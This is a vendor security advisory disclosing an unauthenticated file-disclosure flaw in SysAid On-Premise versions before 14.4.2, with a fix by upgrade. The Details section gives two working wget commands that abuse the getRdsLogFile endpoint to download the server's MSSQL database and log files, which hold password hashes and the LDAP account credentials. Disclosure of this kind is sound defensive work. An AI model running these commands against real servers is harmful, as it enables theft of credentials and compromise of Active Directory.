Vantage Point Security Advisory 2014-004

Title: SysAid Server Arbitrary File Disclosure ID: VP-2014-004 Vendor: SysAid Affected Product: SysAid On-Premise Affected Versions: < 14.4.2 Product Website: http://www.sysaid.com/product/sysaid Author: Bernhard Mueller <bernhard[at]vantagepoint[dot]sg>

Summary:

SysAid Server is vulnerable to an unauthenticated file disclosure attack that allows an anonymous attacker to read arbitrary files on the system. An attacker exploiting this issue can compromise SysAid user accounts and gain access to important system files. When SysAid is configured to use LDAP authentication it is possible to gain read access to the entire Active Directory or obtain domain admin privileges.

Details:

How to download SysAid server database files containing usernames and password hashes (use any unauthenticated session ID):

wget -O "ilient.mdf" --header="Cookie: JSESSIONID=1C712103AA8E9A3D3F1D834E0063A089" \ "http://sysaid.example.com/getRdsLogFile?fileName=c:\\\\Program+Files\\\\SysAidMsSQL\\\\MSSQL10_50.SYSAIDMSSQL\\\\MSSQL\\DATA\\\\ilient.mdf"

wget -O "ilient.ldf" --header="Cookie: JSESSIONID=1C712103AA8E9A3D3F1D834E0063A089" \ "http://sysaid.example.com/getRdsLogFile?fileName=c:\\\\Program+Files\\\\SysAidMsSQL\\\\MSSQL10_50.SYSAIDMSSQL\\\\MSSQL\\DATA\\\\ilient_log.LDF"

The dowloaded MSSQL files contain the LDAP user account and encrypted password used to access the Active Directory (SysAid encrypts the password with a static key that is the same for all instances of the software).

Fix Information:

Upgrade to version 14.4.2.
